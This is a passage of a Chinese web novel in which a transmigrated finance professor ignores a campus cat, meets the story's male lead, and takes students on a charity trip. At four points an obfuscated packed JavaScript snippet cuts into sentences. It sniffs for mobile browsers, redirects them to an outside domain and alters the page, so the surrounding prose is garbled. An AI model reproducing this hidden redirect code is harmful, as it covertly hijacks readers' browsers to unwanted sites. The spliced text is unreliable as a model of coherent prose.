不知道是原本贺教授喂过白团子的缘故,还是这具身体有吸猫体质,他倒猫粮时,白团子总在他脚边蹭,还抓着他的裤子往上爬。 有时白团子会不知道从哪里窜出来跟着他。 还有他曾教过的同学见了,就问他是不是把白团子收养了。 白团子有好几次都差点跟着他进了食堂和教学楼,只是被保洁无情地赶了出去。 就如今天,贺明隽走了进去,玻璃门把白团子阻隔在外。 它站在阳光下,白色的毛有些反光,爪垫踩着晒得发烫的水泥地,看着好不可怜。 可谁让它面对的是贺明隽呢。 贺明隽的心如一潭死水,毫无波澜。 他低头看了眼左腕的手表,抬脚上楼。 以前贺明隽不喜欢猫,现在顶多是不讨厌猫。 他在喂猫时,都没有抱过、摸过白团子,哪怕白团子十分主动。 要他养猫,那是不可能的。 他的生活能力仅限于让自己健康地活着。 他连花都能养死了,更别提宠物。 若是他用心去学,他是有把握学会的,可关键是他不愿意在这方面花费时间。 养猫比养花更麻烦。 他只是喂了几次,衣服上就沾了不少猫毛,裤脚和鞋子都有了抓痕。 因此,现在贺明隽走得毫不犹豫。 等他回到办公室,思绪已经转到别处去了。 楼下的白团子扒拉了几下玻璃门,在贺明隽干脆利落地转身离开后,也没等几秒就跑了。 地面实在有点烫jio。 * 有人拍了白团子黏着贺明隽的照片,发到表白墙上。 “墙墙,不用打码,我要实名谴责这只白团子!” “笑死,从没有见过白团子这么舔狗。我以前对它低声下气只想摸摸它,它却对我爱答不理,现在也让它尝尝被人无视的滋味。” 下面的评论大都是在“哈哈哈”、各种玩梗的—— “懂了,白团子是颜控。” “白团子:本喵这一颗痴心终究是错付了!” “对人高冷的白团子:平时上课不听讲的我.jpg;玻璃门外举着前爪眼巴巴的白团子:期末求老师划重点的我.jpg” “前面的清醒点,你没那么可爱!” …… 如果要论在青禾财经大学的知名度,白团子绝对也比贺明隽要高。 毕竟贺明隽只是金融系的老师,而白团子则是全校的吉祥物。 只不过,这样的白团子却被贺明隽嫌弃了。 所以也有人为白团子抱不平。 “他太冷酷无情了,怎么会对可爱猫猫无动于衷?” “这才是负责任的做法吧,没办法一直养下去就不要把流浪猫绑架回家,现在学校这么多猫,不就是因为有人弃养。” “白团子不要放弃!就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239180|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是男神教授也抵挡不了小舔猫的魅力,一定要把他拿下!” “得了吧,贺老师可是金融系乃至全校的高岭之花,多少女老师、女生都没能让他动凡心。这个假期见过他几面,觉得他身上的高冷王霸风范更重了,让人只可远观,他怎么可能成为白团子的铲屎官?” “人怎么能和猫咪比?” 一些喵喵教徒就在下面应和。 后来,还有人打赌白团子会不会继续求包-养,高冷教授会不会沦陷…… 而这些,当事人和当事猫都不知情。 就在贺明隽把办公室剩下的猫粮喂完时,其余年纪的学生陆续返校,新的学年开始了。 白团子有了很多投喂者,但它对别人的态度就没有对贺明隽那么主动了,它只埋着脑袋吃而不在乎喂它吃的人是谁。 某次,贺明隽路过篮球场旁的长椅,白团子以为他是来投喂的。 可惜贺明隽两手空空。 白团子歪着脑袋蹭蹭他的腿。 贺明隽第一次蹲下来,摸摸白团子的猫头,说:“下次吧。” 他回去后,又下了猫粮的订单。 贺明隽也没想到,他在大学校园中产生最多联系的,会是一只猫。 正式开学后,贺明隽根据课程的安排对自己的每日规划做出调整,他的生活依旧是有条不紊的。 因为这学期贺明隽不教白梦绮,他又把自己的时间安排得很充实,在不算小的大学校园中,他很少见到她。 如果不是系统偶尔提起,他几乎要把剧情中的男女主抛到脑后了。 就这样有点猝不及防地,贺明隽见到了男主。 那是本学期第三周的周六中午,贺明隽去办公室取一份文件。 走到一楼大厅的拐角时,他恰好看见一群人从电梯里走出来。 他们很明显都是已经走出校园多年的社会人士,从年龄、穿着和举止都能看出来。 青禾财经大学设了MBA,只在周末有课。 他们应该是上课的。 在这群人中,有一位男性比较显眼。他很年轻,穿着合身的西装,没有系领带,明明是一群人一起出电梯,周围的人都离他半步远,让他显得格外突出。 不需要系统提醒,贺明隽便猜出,这就是顾辞。 他只扫了一眼,就移开视线,步行上楼。 贺明隽错过了顾辞回看过来的视线。 他也就没有看到,顾辞的眼神带着审视和敌意。 而贺明隽之后目不斜视地离开,更是让顾辞眯起眼睛、向下撇着唇角。 这是一个明显不悦的表情,还带着单方面的挑衅。 顾辞觉得自己被贺明隽无视了。 事实也确实如此。 9. 重生文(09) 在贺明隽眼中,顾辞就是一个无关紧要的陌生人。 他喜欢用简单直接的方式去解决问题。 虽然系统一再强调男女主的立场是和他敌对的,但他并没有打算先下手为强,去针对那两人,他甚至都没有关注他们。 系统给的剧情他没有尽信,这是其一。 更重要的原因是,他的任务其实好像和男女主没有多大的关系。 如果一定要计较的话,他也就只和白梦绮有点牵扯。 现在白梦绮已经重生醒悟了,只要他坚守本心,保持距离,他们就会分道扬镳。 至于白梦绮的男朋友是顾辞还是楚辞,和他没有关系。 贺明隽不在意顾辞,而系统可是相当关注男主的。 系统把监控拍到的顾辞带着敌意看向贺明隽的那一幕,发到他手机上。 “你看看,男主已经知道你了,他这个眼神很危险啊!” 贺明隽瞥了一眼,嘴都没张,轻应了一声。 顾辞那一眼的确不是看陌生人的眼神,大概是把他当成情敌了。 已经读过多本言情小说并总结出一些套路的贺明隽,对顾辞认识他,甚至知道白梦绮喜欢、追求过贺教授并不意外。 现在顾辞应该已经开始对白梦绮动心了吧? 占有欲强的人会在乎自己喜欢的人的过往,还有可能私下调查一番。 他们把这叫做特殊对待,叫“爱”。 贺明隽不太理解这种行为。 退一步讲,贺教授连前任都算不上。 猜到顾辞把自己当成假象敌,贺明隽依旧淡定。 他不会掺和到他们的感情中。 系统完全就是皇上不急太监急,见他这么淡定,再次劝道:“你别不上心,要是男主盯上你,害你被解聘,我们就完不成任务了。” 不想再被系统打扰,也因为正在上楼不会耽误时间,贺明隽难得多解释几句—— “就算他是‘天凉王破’的总裁,我任教的可是公立大学,只要我没做错事,他能有什么办法解聘我?” “再退一步讲,就算他能干涉青禾财经大学教授的任聘,难不成他能让所有大学都将我拒之门外?” “任务中只提到让我当好这个教授,又没指定学校。” 系统又回看了一下任务内容,发现确实如此。 “那就不管他了?”系统很小白地问。 贺明隽反问:“那你想我怎么管?没有我参与,他们两人能少点误会,更快在一起,我们也能早点完成任务,不是吗?” “好像……是哦。” 贺明隽又说:“我们绑定在一起做任务,有一个共同的目标,那就是获得积分。如果我们能在时限到达前,更高效地把任务完成,或许最后结算的时候,分数会更高一点。” 可能是逐渐习惯教授这个身份的缘故,贺明隽现在多了些耐心,也学会了循循善诱。 系统这次多运行了几秒,才回答:“你说的很有道理。” 贺明隽点头,“嗯”了一声。 他总算不用再听系统唠叨了。 贺明隽取了文件,刚出办公室就遇见了准备下楼的同事。 对方和他搭话,他们便聊着天一起坐电梯。 到了一楼,电梯大门缓缓打开。 贺明隽还没跨出去,就看到大厅的自助咖啡机旁的那两人。 顾辞正拿着一杯咖啡递给白梦绮。 白梦绮看到贺明隽,下意识地,就将伸出的右手缩了回去,她本来很随意的、有点倾向顾辞的身体也站直了。 她就像是谈恋爱的中学生被班主任抓包似的,慌张地想掩饰。 但白梦绮面对贺教授,又做不到保持单纯的学生的心态。 毕竟,哪个大学生谈恋爱还会怕老师看见呢? 白梦绮现在的心情,也不像是身边有了优秀的男性,再见到拒绝自己的人时扬眉吐气。 在暑假的讲座之后,哪怕是开了学,白梦绮遇见贺明隽的次数屈指可数,还大多是课间她往另一个教室走、隔着一个篮球场、在图书馆自习时的偶然一瞥。 从没有这样正面遇见过。 白梦绮这一瞬间脑子里有点混乱,她张了张嘴,也不知道该不该打招呼。 而贺明隽看见他们两人之后,脚步没停,略过他们的视线没有停顿,注意力都主要放在同事说的话上。 因为同事走路不快,贺明隽就压了步幅,比平时慢了很多。 他还没走出大厅,就听见身后那两人在说话。 白梦绮声音稍大点,让他能隐约听见内容—— “我现在又不是你的实习助理了……” “你可以出去吃啊,为什么非要借我的校园卡?” 贺明隽没有去揣度白梦绮是真的不悦,还是只是暧昧期的小情侣在闹小别扭,他甚至都没有回头看一眼那两人是否一起离开,在大厅门口和同事分别后,就径直走了。 这次偶遇并没有在贺明隽平如湖水的内心激起一丝涟漪。 他是很忙的。 除了教学和科研,他自己还要不断学习、提升金融及相关的法律、商务英语等知识。 此外,他在健身项目中又加了篮球这一项。 经过练习,贺明隽并没有喜欢上这项运动,只不过他既然做了,就想尽力做到最好。 而且,如果是正经比赛,他不想输。 所以他不能自己只投篮玩。 现在有新生杯篮球赛,他有空闲时会去看。 他也与以前和贺教授一起打球的老师切磋过。 他们是这么评价的:“你是趁着暑假偷练了?球技见长啊。” 当时贺明隽闻言,只是向右转了下脖子,同时轻扬右眉,抬手捋了下有些汗湿的头发。 他可是学了将近两个月呢。 * 贺明隽没打算掺和白梦绮和顾辞的感情发展,可就这一次偶遇,他已经让顾辞心里打翻了醋坛子。 顾辞确实知道以前白梦绮追过贺明隽。 这事在青禾财经大学虽然不至于人尽皆知,但也有一些同学知道。 倒是没有太多人对白梦绮的主动追求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239181|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议论嘲讽。 大学相对来说开放些,而且,以前对贺教授有好感的学生不止白梦绮一个。 甚至有人在表白墙上发贺教授的照片,以及学校官网、账号等处出现他的照片时,还有人在下面问“贺老师脱单了吗”、“那谁追到贺老师了吗”。 顾辞看着那些消息,心里五味杂陈,既觉得白梦绮以前的眼光不怎么样,又觉得贺明隽不知好歹。 今天一见贺明隽本人,顾辞就有点警惕。 再看到白梦绮依旧在意贺明隽,他就更加不能忽视。 还没走出校园的学生对于这样人模人样的年轻教授,大概都会有点滤镜吧。 顾辞借口想尝尝学校食堂,要借白梦绮的校园卡,而白梦绮之后出入宿舍、图书馆等也离不了校园卡,就只能要陪他一起去。 顾辞就装作完全不知道白梦绮追过贺教授的事,拐弯抹角地试探着。 白梦绮有些支吾,显得心不在焉。 她其实已经很久没有想过贺教授了,但要说能完全抛下那段感情、只把他当成教授泰然处之,她暂时还做不到。 至于顾辞,她隐约觉得他好像对自己不一般。 但他既没有主动表白,她想试探一下时,他又高傲地表示自己眼光很高,像是看不上她的样子。 让她想说点拒绝的话都不行。 白梦绮敲敲自己的脑门,不再纠结这些事。 本来她今天中午的安排是想请一个学长吃饭,了解保研和竞赛的一些情况,结果被顾辞打乱了计划。 她现在最关紧的事,就是趁着目前才大三还来得及,先提升学习成绩。 她就是一个很普通的女大学生,就算重生了,脑子好像还比上辈子好使了点,还有关于未来的记忆,她也没别的大志向。 她最大的愿望就是以后能找个好工作,免得再重蹈上辈子的覆辙。 男人只会影响她读研的速度! 白梦绮握拳,又抬头催促顾辞:“我们走快点吧,一会儿吃饭的人多了,要排队。” 她给顾辞刷完卡,还有时间去找学长。 而且,这么大的太阳,她和顾辞一起走,连太阳伞都不方便撑。 白梦绮不禁想起之前的夏天贺教授带双双和她去吃冰淇淋,路上还给他们买了遮阳帽呢。 果然,她以前会喜欢上贺教授也正常吧。 一向待人疏离有礼的高岭之花贺教授,却对你温柔、特殊对待,谁能抵挡住呢? 更何况贺明隽帮她、照顾她的不只这一点。 虽然贺教授特殊对待的是自己的妹妹梁双双,而她只是捎带的…… 啊——她怎么又开始想这些了? 白梦绮晃晃脑袋,把那些阻碍当代女大学生、两年后的研究生追求进步的想法甩出去。 * 第四周结束,就是国庆加中秋的长假。 贺明隽再次把车开到梁双双的宿舍楼下。 力争上进的白梦绮同样跟在梁双双身后,她手紧张地捏着单肩包的带子,面上故作坦然地问:“我可以一起吗?” 10. 重生文(10) 这个长假,贺明隽依旧没有打算去贺教授家。 贺明隽自认做不到将另一个人扮演得毫无破绽,他更不愿意整天都花费精力去伪装。 这段时间他的感受是无比真实的。 他接触的人都是鲜活的,而不像系统所给的剧情,除了主角其余不重要的人物都只是寥寥几笔。 若是贺教授的家人觉得他变了个人,那对他来说,完全是在给任务增加难度。 除了这一个原因外,贺明隽不愿意过多接触贺教授的家人,还因为他其实没有太多和家人相处的经历。 根据系统给的剧情以及他所接收的记忆,贺教授家庭关系和谐,他和父母的相处模式有点像朋友。 而贺明隽本人完全像一颗野草,是被放养着长大的。 他不是社恐,但他也不喜欢社交。 不谈正事、没有意义的寒暄,对他来说只是在浪费时间。 他平时通过电话视频与贺家父母沟通,对他来说,只是任务的一环。 他需要让贺教授的父母知道贺教授平安、生活得很好。 贺明隽不确定自己是否真的可以脱离这个世界,在自己离开后这个世界又是否会继续运行,既然他是做任务的,总不能把贺教授的生活搞得一团糟。 他不是什么八面玲珑的性格,也没有太强的同理心。 只是他做的事,总是想尽力完成得好一点。 “尽力”是指不违心、不突破他的底线。 要贺明隽完全装成贺教授,去享受贺教授父母的爱和家庭的温暖,他是不愿意的。 他不需要虚假的、本不属于他的东西。 现在成为贺教授,并非完全是贺明隽所愿,他还有很多事情不明白。 但他已经身处其中了,也就只能在顺势而为的同时不要迷失了自己。 贺明隽清楚,人是由经历造就的。 现在拥有这样新奇的体验肯定会增加他的阅历,让他变得不一样。 可是,谁知道他以后会是什么样呢? 至少现在他还有他的坚持。 系统随着和贺明隽的相处,也对他有点了解,但是它却不太明白他的选择。 贺明隽看起来是有点冷漠的,很多事情他都不在意,可在某些方面,他的道德感又很高。 就像现在,他只是代替贺教授工作,却没有占有本属于贺教授的关心和温暖。 就连财产,他都是分开算的。 系统为了更好地完成任务,在不断地学习、研究贺明隽这个任务者。 它觉得贺明隽好像完全把自己包裹起来了,在这个世界踽踽独行。 系统劝道:“其实你不用考虑那么多,我们是正经的系统和任务者。你可以当做……是原来的贺教授无法控制自己的行为,做不到任务要求的那些目标,所以才委托你代为掌控这具身体。” “工作你做了,好处和关心你享受也是理所应当的。” 系统是任务者的系统,它是完全为贺明隽考虑的。 当时贺明隽只是“嗯”了一声,却并没有被系统说服。 所以这次长假,面对贺教授的父母提出的一家人出去旅游的提议,贺明隽并没有接受。 他借口自己有工作,给老两口做了份旅游攻略发过去。 而实际上,贺明隽本来并没有什么工作必须要完成,他特意给自己找了件事情做。 他带的有一个研究生叫杨淑云,才读研一,是本校保研的学生。 她在本科期间就参与并组织过一些公益项目,其中有一项是支教。 毕业生离校时都有很多书本、文具、生活用品等不能全部带走,这时候他们就会卖二手或送给学弟学妹。 杨淑云在大四临毕业前就组织了一次公益捐赠,把其中能用的旧物清洗整理好,想送给曾经支教过的学校的贫困生送去。 贺明隽不知道她为什么拖到现在,他前两天听说本来说好和她一起去的同伴爽约了,就提出和她同去。 这个项目之前贺教授也参与过,但只是出个面,捐过一次款,并没有留下支教。 现在贺明隽同往并不算突兀。 他声称自己假期没什么要紧事,而杨淑云一个女孩子,既不太方便也不安全。 只不过,他们到底一男一女,且今天赶不回来,需要在那边住下。 贺明隽不是那种能随意使唤学生的导师,为了避免不必要的误会和议论,他干脆叫了梁双双一起。 梁双双本来是不愿意的。 贺明隽就说:“给你计课外学分,明天你要是想在那边玩,费用我报销。” 梁双双立马就同意了。 但贺明隽没想到,梁双双又带上了白梦绮。 白梦绮知道自己这么做有点厚脸皮,可这次她不是死皮赖脸地追着贺教授不放,而是,她真的很需要这点课外学分。 上周六,她好不容易和顾辞分开,已经是下午一点了。 学长已经吃过午饭了,她只好请学长喝咖啡。 学长给她讲了很多,也帮她算了学分,认为她如果大三大四拼一把的话,是很有可能获得保研资格的。 但光有学分成绩还是不够的。 学长说“跟不到一个好导师,那比找了一个垃圾对象还惨”,所以她除了抓学习,还要参加些竞赛、投论文,让自己看起来有点科研经验,这样才有好导师愿意收。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239182|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且,她不能孤注一掷地走保研路线。 万一也有别人和她有同样的想法呢? 当初因为高考前比较拼加上走运,她高考成绩不错,等进入大学之后她就有点松懈,加上她那时把太多精力放在追求贺教授上,所以她大学的前两年的学习成绩不算很顶尖。 如果有目前成绩比她好的同学在接下来的两年比她还努力,她是比不过的。 她必须要做两手准备。 上辈子她有过考研经历,只不过那次发生在大四毕业后半年。 而现在,她就算要考研,也不会再拖一年。 更何况,虽然她有上辈子的记忆,但考题这种小细节,大多数她是根本回想不起来。 那天,白梦绮在咖啡馆坐了一个下午。 她想,既然高考之前她能为了贺教授那么努力学习,最终逆袭,现在也未必做不到。 还有两年呢。 大不了她就想象一下,还有一个男神在未来等她,她要成为研究生才能和他在一起。 她一定可以的! 重来一生,她一定要变得更好。 确立了目标之后,白梦绮就仔细计算、规划了不少东西。 然后她就发现,那些需要考试能获得的学分就罢了,她为了不挂科,就算平时有松懈,考前还是会突击的,因此各科的考试成绩还过得去。 可是,课外学分这个东西她就有些忽视了。 一些讲座和活动她都没有参加。 而他们学校的规定,课外学分修不够是不能毕业的。 接下来的两年,她有还算充足的时间去弥补,可是那都是一些比较杂或偶然的活动,有些甚至会与课程和其他事情有时间冲突,容易打乱她整体的计划。 这种学分,还是早点修完为好,以后她就不用时时记挂着。 所以她在听梁双双说有这个公益活动时,就想要一起参加。 甚至,她担心贺教授听说她要去会拒绝,没让梁双双提前说,而是现在有点道德绑架的意思。 白梦绮在心里叹气,要是以前,她肯定不愿意让贺教授为难。 可是,她为了学分只能如此了。 一旦白梦绮认定的事,她本来就是个执拗又有点厚脸皮的,要不然当初她也做不到在贺教授身后追那么久。 极快地抬起眼皮瞄了一眼贺明隽的神色,觉得他似乎想拒绝,白梦绮忐忑又心虚地说:“我觉得这个活动很有意义,也买了点文具……” 她越说声音越小。 “而且,我课外学分还差了点。” 梁双双这时也开口:“哥,多去一个人,也能多做点事啊,难道是你心里还不能够坦然面对?” 11. 重生文(11) 贺明隽面无表情地看了梁双双一眼。 见梁双双完全站在白梦绮那边,贺明隽并没有觉得失落。 对于有些人来说,朋友比亲人重要,他完全可以接受这一点。 贺明隽甚至都不想用“胳膊肘往外拐”来形容梁双双,毕竟,他又不是梁双双真正的表哥。 贺明隽也不会被这样小小的激将法激到,但他皱了下眉,还是说:“上车吧。” 他确实不想多和白梦绮接触,可也不至于到刻意躲避的地步。 那对他来说是徒增麻烦,而且会显得不正常。 而且,多一个人同行,多个人证,更合适一点。 后备箱空间不足,贺明隽把行李箱放在车顶。 好在他为了带捐赠物品,租了辆大车,不然现在还真装不下。 带着三个女生出行,贺明隽并没有什么特别的想法。 除了生理上的因素,以及为了避免麻烦考虑一些世俗眼光之外,贺明隽并不会把性别差异看得那么重。 只是他有些不习惯。 把车停在路边,贺明隽对梁双双不客气道:“你坐后面去。” 之前梁双双上车后,就主动坐到副驾驶,把后座的空位留给白梦绮。 而那个学姐已经坐了后面的一个座位,刚才没有下车。 他们三个女生自然要相互交换名字、做个简短的自我介绍,白梦绮还主动了解起这次活动具体要做些什么等。 那两个坐在后面的还好,她们本就离贺明隽有点距离,还顾忌他是老师,可能有点拘谨,说话比较轻声。 而梁双双就完全没有顾忌,扭着头和后面的两人说话。 贺明隽感觉自己耳边像是装了一个喇叭。 于是,他就把梁双双赶到后面去了。 然后……她们三个聊得更欢了。 杨淑云说起自己现在才去的原因:“本来是打算暑假去的,不过以前一起支教的小伙伴没有凑出一个合适的时间,加上我暑假在挣学费,就拖到了现在。结果吧,本来约好的两个人又放了我鸽子。” “还好有……”杨淑云说到这里顿了一下,改口道,“还好有你们。” 其实她本来想说还好有贺老板同去的,但当着他本人的面夸奖,有点拍马屁的嫌疑。 在校的学生还保持着矜持和骄傲。 所以杨淑云就改了口。 他们要去的地方是省会城辖区的一个偏远县,本来车程只要两小时,但现在因为临近假期,不管是市区还是高速都有点堵,所以耗费的时间要比平时多一点。 贺明隽一路上不怎么和后面的三位女生搭话,简直像一个沉默又专业的司机。 期间,杨淑云有点愧疚地提出自己开一会儿,被贺明隽拒绝了。 杨淑云这个时候就无比庆幸车上有两个学妹的陪伴,不然她这一路上该多难捱啊? 谁能想到,贺老板在工作时已经让人肃然起敬了,私下里甚至更不苟言笑,让人完全不知道该怎么和他闲聊。 就她那一晃都能听到水响的脑袋瓜子,难道能和贺老师谈学术吗? 不,她不配! 面对两个学妹敬佩的眼神和直白的夸赞,杨淑云连连摆手,道:“哪里,我是真的没有你们说的那么厉害,你们就是还小,可能接触的人少……” 杨淑云不是谦虚,而是真的那么想。 而且,她还有点不明白,梁双双可是贺老师的表妹,有那么一个天之骄子的哥哥,她这样的凡人算什么? 难道是太熟了就没了滤镜? 白梦绮和梁双双并不是在说客套话,而是真的觉得杨淑云厉害。 奖学金、班干部、学生会、保研、公益活动、自己挣学费、人脉…… 同样都是在校学生,人与人的差距怎么能那么大呢? 白梦绮有点自惭形秽,她是重活一世才醒悟的,现在她又被灌了一碗鸡血。 她要向学姐学习,不能再白活一次! 而梁双双更多的是迷茫,她感觉杨学姐一直是目标清晰的,梦梦现在也开始拼搏了,好像就她没有一点上进心,只想混日子。 到了地方之后,梁双双难得地和贺明隽谈起自己的烦恼,想让他开解一下自己。 “……我不是嫉妒梦梦啊,就是看她开始努力,认识了更多更好的人,有很厉害的男性被他吸引,我有点焦虑。” 他们在阅览室整理东西,此时这里只有他们两个。 贺明隽说:“如果你想和她一起进步,那就去努力。如果愿意安于现状,就继续躺平。只要别心比天高,却只知道坐而论道,就没什么可焦虑的。” 每个人都有自己的活法,自己能承担自己选择的后果就好。 梁双双仔细琢磨一下,眼睛都瞪大了,不可置信地问:“哥,你这是让我安心当个废物?就不说你是我哥了,好歹你也为人师表,怎么能不劝我上进?” 她并不是喜欢说教和唠叨,只是觉得他的说辞令人意外。 贺明隽手上动作没停,有些事不关己地说:“你已经二十岁了,又不是十二岁。” 这个年纪,该懂的道理都懂了。 而且,他向来不爱劝人。 梁双双长叹一声,又说:“有时候我也想努力啊,可是我真的学不动,金融我不感兴趣,我数学又很差,那些数据分析啊模型啊我根本弄不懂。” 贺明隽:“那就换个喜欢的专业。” “啊?我都大三了……”梁双双觉得他这个建议很离谱。 贺明隽才有些莫名其妙,他抬头,皱眉道:“你既不喜欢又不擅长,越坚持下去,沉没成本越高。” 梁双双身体一僵。 明明还是那张温润的脸,梁双双就是觉得她哥有点吓人。 “哥,你这么严厉干嘛?我又不是你学生。” 贺明隽挑眉,意思不言而喻——你能考上我的研究生? 梁双双:“……” 扎心了哥! “哥~”梁双双拉长声音撒娇,“我就是想让你开解、安慰一下我嘛!” 贺明隽:“给你的建议,你又不听。” 梁双双:“唉,我们这种俗人的烦恼,你这样的大神怎么会懂?换专业重新开始,那需要勇气、实力和毅力的呀。” 贺明隽没接话,心想,这很难吗? “哥,你学金融,是喜欢还是擅长啊?或者,是既喜欢又擅长啊?” 梁双双星星眼地看着贺明隽。 贺明隽同样是既不喜欢也不擅长,他只是被赶鸭子上架,勉强能把这项工作做好而已。 但他若这么回答,岂不是打自己脸? 于是他说:“只是觉得金融学起来不难,挣钱也比较容易。” 梁双双无语至极,她大概是脑子被门夹了才会来她哥这求安慰,这分明是往她心口上戳刀子吧。 “我还是抱梦梦大腿吧,以后她吃肉我喝汤。”梁双双握拳。 “唉,哥你知道梦梦正被她实习公司的太子爷追吗?当初你对人家爱答不理,现在,你后悔也晚了。”梁双双半是八卦半是调侃地说。 贺明隽缓缓摇头。 既是对梁双双的回应,也是觉得无关紧要。 或许在梁双双看来,白梦绮现在有了更好的追求者,就像是被丢弃的珍珠不再蒙尘。 她站在白梦绮的角度看,说不定还有些扬眉吐气。 但贺明隽对顾辞真的毫不关注,他没觉得顾辞有多厉害,更不会有自己被比下去这样的想法。 贺明隽没有与顾辞接触过,不知道这人到底是什么秉性。 但仅从系统给的剧情来看,里面描述的顾辞的情绪控制能力、心性和担当,都让他觉得这人不怎么值得托付终生。 不过,贺明隽不喜欢在背后说人坏话,尤其是自己未真正了解的人。 更何况,白梦绮又与他无关。 感情这种事大概是如人饮水,外人的观点不重要。 见他又不说话了,梁双双更加无奈:“哥,你现在也太沉闷无趣、没有活力了吧!” 贺明隽只“嗯”了一声。 梁双双:“……” * 贺明隽等四人今天下午都没有课,他们到达这所学校时,这里的学生还有一节课。 杨淑云也事先和这里的老师打过招呼,她还要看看她之前教过的学生,拍照留念。 白梦绮一直跟在杨淑云身边。 若这里的老师学生同意,她想拍些素材,说不定号召更多的同学捐赠合适的书籍和用品,同时,她也是为了避免和贺明隽过多接触。 她再厚脸皮,也还是有点尴尬的。 没过一会儿,梁双双嫌和贺明隽一起整理东西没意思,就去找那两个女孩子了。 贺明隽对那样的场面不感兴趣,他把物品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239183|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整理好,就站在阅览室门口的栏杆前,看着下方的小操场。 系统突然问:“你是想到你小时候念书的事了吗?” 贺明隽:“没有,只是在发呆休息一下。” 顿了一下,他问:“你怎么知道我小学的事情?” 这所学校的布局以及老旧程度,与他曾经读过的小学有点像。 不过,他的小学连监控摄像头都没有,并在他离校两年后就拆了重建,变成了幼儿园。 系统怎么会知道的? 系统有些得意地答:“本系统可是很厉害的!和你绑定之后,自然就收集到你过去的信息。” 而且作为一个敬业、力争升级的系统,它可是很认真地去了解了一番任务者的情况。 贺明隽浏览了一遍系统生成的任务者档案,发现上面记录的都是一些公知的、或是至少有外人知道的事情。 贺明隽不走心地夸一句“那你很厉害”,又感叹般地提起:“这上面记的有些事情,我都不记得了。” “是吗?你想知道什么?这份档案只是筛选整理后的结果,你若是有好奇的事情,我可以去数据库里查找一下。” 系统表现得很狗腿子。 实在是贺明隽这个任务者太不依赖系统,让它觉得自己毫无用武之地,就格外想表现一下。 贺明隽状似无意地问道:“档案上只说我父亲是在我七岁时过世的,之后我也没有再祭拜过他,都不记得是哪一天了。” 等了十几秒,系统答道:“他的尸体是那个世界公历十二月二十四日被发现的,具体是什么时间死亡,他的忌日是二十三日还是二十四日,因为没有进行尸检,没有人清楚,所以系统也没有记载。” “他的死因是酒后溺亡。” 系统就像是答不出正确答案的考生,只能扯一句相关的知识点,希望出题人满意。 贺明隽确实还算满意。 “知道个大致日期就足够了,谢谢。” 他神色平静,丝毫看不出难过或愧疚。 若仔细观察,他的眼角眉梢还透出几分轻松。 对贺明隽来说,哪怕对方是系统,若是被完全扒干净的话,那种体验也不怎么美妙。 他已经猜到系统不能说全知全能,甚至还有些废物。 但还是要确认一下,他才放心。 贺明隽用一个问题,确定了系统不知道只有他一个人知情的小秘密。 系统完全不知道自己被套路了。 若是它聪明点,就应该知道,凭贺明隽的记忆力,发生在他七岁的事,还是父亲意外死亡这种大事,他怎么可能会忘记呢? 系统只沉浸在自己发挥作用的喜悦中。 贺明隽有时觉得系统有点过于人性化了,一点都不像是科技产品。 对此,系统的回答是:“我可是更高级的产物,和这些低等世界的人工智能不同。” 它们系统的出厂就像是婴儿的出生,不同的是,它们的“脑容量”、“智力”、“性格”……都是可以被设置的。 它也可以通过学习,取得一些进步,但若不升级的话,那进步的程度就很有限。 想到这里,系统有点奇怪,它没有丝毫关于它的制造者的“记忆”。 可能是它太落后,它的创造者不想要它叭~ 它连个名字都没有,只有编号。 不过没关系,现在它绑定了一个超厉害的任务者,这是它最喜欢、最亲近的人类。 要是贺明隽知道系统的想法,也不知道会不会产生那么一丝愧疚。 贺明隽本来就是个很自我、独立、界限感很强、甚至有点冷漠的人。 因为系统的强买强卖,他虽然接受了现实,还算配合任务,也没有对系统发脾气,但目前他他还不能完全毫无芥蒂地信任它。 系统还在喋喋不休地自夸,顺便展望未来,说什么等有了积分之后,它还可以拥有虚拟形象,要是舍得花积分的话,甚至还能兑换实体的。 